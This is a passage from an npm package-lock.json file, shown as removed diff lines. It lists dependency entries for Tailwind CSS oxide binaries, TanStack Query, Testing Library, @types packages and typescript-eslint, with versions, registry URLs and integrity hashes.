"https://registry.npmjs.org/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.2.4.tgz", - "integrity": "sha512-tSC/Kbqpz/5/o/C2sG7QvOxAKqyd10bq+ypZNf+9Fi2TvbVbv1zNpcEptcsU7DPROaSbVgUXmrzKhurFvo5eDg==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-darwin-x64": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.2.4.tgz", - "integrity": "sha512-yPyUXn3yO/ufR6+Kzv0t4fCg2qNr90jxXc5QqBpjlPNd0NqyDXcmQb/6weunH/MEDXW5dhyEi+agTDiqa3WsGg==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-freebsd-x64": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.2.4.tgz", - "integrity": "sha512-BoMIB4vMQtZsXdGLVc2z+P9DbETkiopogfWZKbWwM8b/1Vinbs4YcUwo+kM/KeLkX3Ygrf4/PsRndKaYhS8Eiw==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.2.4.tgz", - "integrity": "sha512-7pIHBLTHYRAlS7V22JNuTh33yLH4VElwKtB3bwchK/UaKUPpQ0lPQiOWcbm4V3WP2I6fNIJ23vABIvoy2izdwA==", - "cpu": [ - "arm" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm64-gnu": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.2.4.tgz", - "integrity": "sha512-+E4wxJ0ZGOzSH325reXTWB48l42i93kQqMvDyz5gqfRzRZ7faNhnmvlV4EPGJU3QJM/3Ab5jhJ5pCRUsKn6OQw==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm64-musl": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.2.4.tgz", - "integrity": "sha512-bBADEGAbo4ASnppIziaQJelekCxdMaxisrk+fB7Thit72IBnALp9K6ffA2G4ruj90G9XRS2VQ6q2bCKbfFV82g==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-x64-gnu": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.2.4.tgz", - "integrity": "sha512-7Mx25E4WTfnht0TVRTyC00j3i0M+EeFe7wguMDTlX4mRxafznw0CA8WJkFjWYH5BlgELd1kSjuU2JiPnNZbJDA==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-x64-musl": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.2.4.tgz", - "integrity": "sha512-2wwJRF7nyhOR0hhHoChc04xngV3iS+akccHTGtz965FwF0up4b2lOdo6kI1EbDaEXKgvcrFBYcYQQ/rrnWFVfA==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-wasm32-wasi": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-wasm32-wasi/-/oxide-wasm32-wasi-4.2.4.tgz", - "integrity": "sha512-FQsqApeor8Fo6gUEklzmaa9994orJZZDBAlQpK2Mq+DslRKFJeD6AjHpBQ0kZFQohVr8o85PPh8eOy86VlSCmw==", - "bundleDependencies": [ - "@napi-rs/wasm-runtime", - "@emnapi/core", - "@emnapi/runtime", - "@tybys/wasm-util", - "@emnapi/wasi-threads", - "tslib" - ], - "cpu": [ - "wasm32" - ], - "license": "MIT", - "optional": true, - "dependencies": { - "@emnapi/core": "^1.8.1", - "@emnapi/runtime": "^1.8.1", - "@emnapi/wasi-threads": "^1.1.0", - "@napi-rs/wasm-runtime": "^1.1.1", - "@tybys/wasm-util": "^0.10.1", - "tslib": "^2.8.1" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.2.4.tgz", - "integrity": "sha512-L9BXqxC4ToVgwMFqj3pmZRqyHEztulpUJzCxUtLjobMCzTPsGt1Fa9enKbOpY2iIyVtaHNeNvAK8ERP/64sqGQ==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-win32-x64-msvc": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.2.4.tgz", - "integrity": "sha512-ESlKG0EpVJQwRjXDDa9rLvhEAh0mhP1sF7sap9dNZT0yyl9SAG6T7gdP09EH0vIv0UNTlo6jPWyujD6559fZvw==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/typography": { - "version": "0.5.19", - "resolved": "https://registry.npmjs.org/@tailwindcss/typography/-/typography-0.5.19.tgz", - "integrity": "sha512-w31dd8HOx3k9vPtcQh5QHP9GwKcgbMp87j58qi6xgiBnFFtKEAgCWnDw4qUT8aHwkCp8bKvb/KGKWWHedP0AAg==", - "dev": true, - "license": "MIT", - "dependencies": { - "postcss-selector-parser": "6.0.10" - }, - "peerDependencies": { - "tailwindcss": ">=3.0.0 || insiders || >=4.0.0-alpha.20 || >=4.0.0-beta.1" - } - }, - "node_modules/@tailwindcss/vite": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/vite/-/vite-4.2.4.tgz", - "integrity": "sha512-pCvohwOCspk3ZFn6eJzrrX3g4n2JY73H6MmYC87XfGPyTty4YsCjYTMArRZm/zOI8dIt3+EcrLHAFPe5A4bgtw==", - "license": "MIT", - "dependencies": { - "@tailwindcss/node": "4.2.4", - "@tailwindcss/oxide": "4.2.4", - "tailwindcss": "4.2.4" - }, - "peerDependencies": { - "vite": "^5.2.0 || ^6 || ^7 || ^8" - } - }, - "node_modules/@tanstack/eslint-plugin-query": { - "version": "5.100.9", - "resolved": "https://registry.npmjs.org/@tanstack/eslint-plugin-query/-/eslint-plugin-query-5.100.9.tgz", - "integrity": "sha512-3jZwyxAZWSBqI7EXEdw+rktFfX1opMpqn9Lruwz52DEzQdi7kbKnqixjhR3dJ1xFfG05YxV9vsqXGxXqcLAmjA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/utils": "^8.58.1" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": "^5.4.0 || ^6.0.0" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/@tanstack/query-core": { - "version": "5.100.9", - "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.100.9.tgz", - "integrity": "sha512-SJSFw1S8+kQ0+knv/XGfrbocWoAlT7vDKsSImtLx3ZPQmEcR46hkDjLSvynSy25N8Ms4tIEini1FuBd5k7IscQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - } - }, - "node_modules/@tanstack/react-query": { - "version": "5.100.9", - "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.100.9.tgz", - "integrity": "sha512-Oa44XkaI3kCNN6ME0KByU3xT3SEUNOMfZpHxL6+wFoTm+OeUFYHKdeYVe0aOXlRDm/f15sgLwEt2HDorIdW8+A==", - "license": "MIT", - "dependencies": { - "@tanstack/query-core": "5.100.9" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - }, - "peerDependencies": { - "react": "^18 || ^19" - } - }, - "node_modules/@tanstack/react-virtual": { - "version": "3.11.3", - "resolved": "https://registry.npmjs.org/@tanstack/react-virtual/-/react-virtual-3.11.3.tgz", - "integrity": "sha512-vCU+OTylXN3hdC8RKg68tPlBPjjxtzon7Ys46MgrSLE+JhSjSTPvoQifV6DQJeJmA8Q3KT6CphJbejupx85vFw==", - "license": "MIT", - "dependencies": { - "@tanstack/virtual-core": "3.11.3" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/@tanstack/virtual-core": { - "version": "3.11.3", - "resolved": "https://registry.npmjs.org/@tanstack/virtual-core/-/virtual-core-3.11.3.tgz", - "integrity": "sha512-v2mrNSnMwnPJtcVqNvV0c5roGCBqeogN8jDtgtuHCphdwBasOZ17x8UV8qpHUh+u0MLfX43c0uUHKje0s+Zb0w==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - } - }, - "node_modules/@testing-library/dom": { - "version": "10.4.1", - "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", - "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.10.4", - "@babel/runtime": "^7.12.5", - "@types/aria-query": "^5.0.1", - "aria-query": "5.3.0", - "dom-accessibility-api": "^0.5.9", - "lz-string": "^1.5.0", - "picocolors": "1.1.1", - "pretty-format": "^27.0.2" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@testing-library/jest-dom": { - "version": "6.9.1", - "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz", - "integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@adobe/css-tools": "^4.4.0", - "aria-query": "^5.0.0", - "css.escape": "^1.5.1", - "dom-accessibility-api": "^0.6.3", - "picocolors": "^1.1.1", - "redent": "^3.0.0" - }, - "engines": { - "node": ">=14", - "npm": ">=6", - "yarn": ">=1" - } - }, - "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", - "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@testing-library/react": { - "version": "16.3.2", - "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz", - "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.12.5" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@testing-library/dom": "^10.0.0", - "@types/react": "^18.0.0 || ^19.0.0", - "@types/react-dom": "^18.0.0 || ^19.0.0", - "react": "^18.0.0 || ^19.0.0", - "react-dom": "^18.0.0 || ^19.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@testing-library/user-event": { - "version": "14.6.1", - "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz", - "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12", - "npm": ">=6" - }, - "peerDependencies": { - "@testing-library/dom": ">=7.21.4" - } - }, - "node_modules/@ts-morph/common": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/@ts-morph/common/-/common-0.11.1.tgz", - "integrity": "sha512-7hWZS0NRpEsNV8vWJzg7FEz6V8MaLNeJOmwmghqUXTpzk16V1LLZhdo+4QvE/+zv4cVci0OviuJFnqhEfoV3+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-glob": "^3.2.7", - "minimatch": "^3.0.4", - "mkdirp": "^1.0.4", - "path-browserify": "^1.0.1" - } - }, - "node_modules/@tybys/wasm-util": { - "version": "0.10.2", - "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.2.tgz", - "integrity": "sha512-RoBvJ2X0wuKlWFIjrwffGw1IqZHKQqzIchKaadZZfnNpsAYp2mM0h36JtPCjNDAHGgYez/15uMBpfGwchhiMgg==", - "license": "MIT", - "optional": true, - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@types/aria-query": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", - "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/cacheable-request": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz", - "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/http-cache-semantics": "*", - "@types/keyv": "^3.1.4", - "@types/node": "*", - "@types/responselike": "^1.0.0" - } - }, - "node_modules/@types/chai": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", - "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/deep-eql": "*", - "assertion-error": "^2.0.1" - } - }, - "node_modules/@types/debug": { - "version": "4.1.13", - "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", - "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", - "license": "MIT", - "dependencies": { - "@types/ms": "*" - } - }, - "node_modules/@types/deep-eql": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", - "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", - "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", - "license": "MIT" - }, - "node_modules/@types/estree-jsx": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz", - "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==", - "license": "MIT", - "dependencies": { - "@types/estree": "*" - } - }, - "node_modules/@types/fs-extra": { - "version": "9.0.13", - "resolved": "https://registry.npmjs.org/@types/fs-extra/-/fs-extra-9.0.13.tgz", - "integrity": "sha512-nEnwB++1u5lVDM2UI4c1+5R+FYaKfaAzS4OococimjVm3nQw3TuzH5UNsocrcTBbhnerblyHj4A49qXbIiZdpA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "license": "MIT", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/@types/http-cache-semantics": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", - "integrity": "sha512-L3LgimLHXtGkWikKnsPg0/VFx9OGZaC+eN1u4r+OB1XRqH3meBIAVC2zr1WdMH+RHmnRkqliQAOHNJ/E0j/e0Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/json-schema": { - "version": "7.0.15", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", - "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/keyv": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", - "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/lodash": { - "version": "4.17.24", - "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.24.tgz", - "integrity": "sha512-gIW7lQLZbue7lRSWEFql49QJJWThrTFFeIMJdp3eH4tKoxm1OvEPg02rm4wCCSHS0cL3/Fizimb35b7k8atwsQ==", - "license": "MIT" - }, - "node_modules/@types/mdast": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", - "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", - "license": "MIT", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/@types/ms": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", - "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "25.6.0", - "resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.0.tgz", - "integrity": "sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ==", - "license": "MIT", - "dependencies": { - "undici-types": "~7.19.0" - } - }, - "node_modules/@types/plist": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@types/plist/-/plist-3.0.5.tgz", - "integrity": "sha512-E6OCaRmAe4WDmWNsL/9RMqdkkzDCY1etutkflWk4c+AcjDU07Pcz1fQwTX0TQz+Pxqn9i4L1TU3UFpjnrcDgxA==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "@types/node": "*", - "xmlbuilder": ">=11.0.1" - } - }, - "node_modules/@types/prismjs": { - "version": "1.26.6", - "resolved": "https://registry.npmjs.org/@types/prismjs/-/prismjs-1.26.6.tgz", - "integrity": "sha512-vqlvI7qlMvcCBbVe0AKAb4f97//Hy0EBTaiW8AalRnG/xAN5zOiWWyrNqNXeq8+KAuvRewjCVY1+IPxk4RdNYw==", - "license": "MIT" - }, - "node_modules/@types/react": { - "version": "19.2.14", - "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.14.tgz", - "integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==", - "license": "MIT", - "dependencies": { - "csstype": "^3.2.2" - } - }, - "node_modules/@types/react-dom": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", - "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "^19.2.0" - } - }, - "node_modules/@types/react-syntax-highlighter": { - "version": "15.5.13", - "resolved": "https://registry.npmjs.org/@types/react-syntax-highlighter/-/react-syntax-highlighter-15.5.13.tgz", - "integrity": "sha512-uLGJ87j6Sz8UaBAooU0T6lWJ0dBmjZgN1PZTrj05TNql2/XpC6+4HhMT5syIdFUUt+FASfCeLLv4kBygNU+8qA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/react": "*" - } - }, - "node_modules/@types/responselike": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.3.tgz", - "integrity": "sha512-H/+L+UkTV33uf49PH5pCAUBVPNj2nDBXTN+qS1dOwyyg24l3CcicicCA7ca+HMvJBZcFgl5r8e+RR6elsb4Lyw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/set-cookie-parser": { - "version": "2.4.10", - "resolved": "https://registry.npmjs.org/@types/set-cookie-parser/-/set-cookie-parser-2.4.10.tgz", - "integrity": "sha512-GGmQVGpQWUe5qglJozEjZV/5dyxbOOZ0LHe/lqyWssB88Y4svNfst0uqBVscdDeIKl5Jy5+aPSvy7mI9tYRguw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/shell-quote": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@types/shell-quote/-/shell-quote-1.7.5.tgz", - "integrity": "sha512-+UE8GAGRPbJVQDdxi16dgadcBfQ+KG2vgZhV1+3A1XmHbmwcdwhCUwIdy+d3pAGrbvgRoVSjeI9vOWyq376Yzw==", - "license": "MIT" - }, - "node_modules/@types/statuses": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/@types/statuses/-/statuses-2.0.6.tgz", - "integrity": "sha512-xMAgYwceFhRA2zY+XbEA7mxYbA093wdiW8Vu6gZPGWy9cmOyU9XesH1tNcEWsKFd5Vzrqx5T3D38PWx1FIIXkA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/triple-beam": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz", - "integrity": "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==", - "license": "MIT" - }, - "node_modules/@types/trusted-types": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz", - "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==", - "license": "MIT", - "optional": true - }, - "node_modules/@types/unist": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", - "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", - "license": "MIT" - }, - "node_modules/@types/verror": { - "version": "1.10.11", - "resolved": "https://registry.npmjs.org/@types/verror/-/verror-1.10.11.tgz", - "integrity": "sha512-RlDm9K7+o5stv0Co8i8ZRGxDbrTxhJtgjqjFyVh/tXQyl/rYtTKlnTvZ88oSTeYREWurwx20Js4kTuKCsFkUtg==", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/@types/yauzl": { - "version": "2.10.3", - "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.3.tgz", - "integrity": "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@typescript-eslint/eslint-plugin": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.59.2.tgz", - "integrity": "sha512-j/bwmkBvHUtPNxzuWe5z6BEk3q54YRyGlBXkSsmfoih7zNrBvl5A9A98anlp/7JbyZcWIJ8KXo/3Tq/DjFLtuQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/regexpp": "^4.12.2", - "@typescript-eslint/scope-manager": "8.59.2", - "@typescript-eslint/type-utils": "8.59.2", - "@typescript-eslint/utils": "8.59.2", - "@typescript-eslint/visitor-keys": "8.59.2", - "ignore": "^7.0.5", - "natural-compare": "^1.4.0", - "ts-api-utils": "^2.5.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "@typescript-eslint/parser": "^8.59.2", - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/eslint-plugin/node_modules/@typescript-eslint/utils": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.59.2.tgz", - "integrity": "sha512-Juw3EinkXqjaffxz6roowvV7GZT/kET5vSKKZT6upl5TXdWkLkYmNPXwDDL2Vkt2DPn0nODIS4egC/0AGxKo/Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.9.1", - "@typescript-eslint/scope-manager": "8.59.2", - "@typescript-eslint/types": "8.59.2", - "@typescript-eslint/typescript-estree": "8.59.2" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", - "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/@typescript-eslint/parser": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.59.2.tgz", - "integrity": "sha512-plR3pp6D+SSUn1HM7xvSkx12/DhoHInI2YF35KAcVFNZvlC0gtrWqx7Qq1oH2Ssgi0vlFRCTbP+DZc7B9+TtsQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/scope-manager": "8.59.2", - "@typescript-eslint/types": "8.59.2", - "@typescript-eslint/typescript-estree": "8.59.2", - "@typescript-eslint/visitor-keys": "8.59.2", - "debug": "^4.4.3" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/project-service": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.59.2.tgz", - "integrity": "sha512-+2hqvEkeyf/0FBor67duF0Ll7Ot8jyKzDQOSrxazF/danillRq2DwR9dLptsXpoZQqxE1UisSmoZewrlPas9Vw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.59.2", - "@typescript-eslint/types": "^8.59.2", - "debug": "^4.4.3" - }, - "engines": { 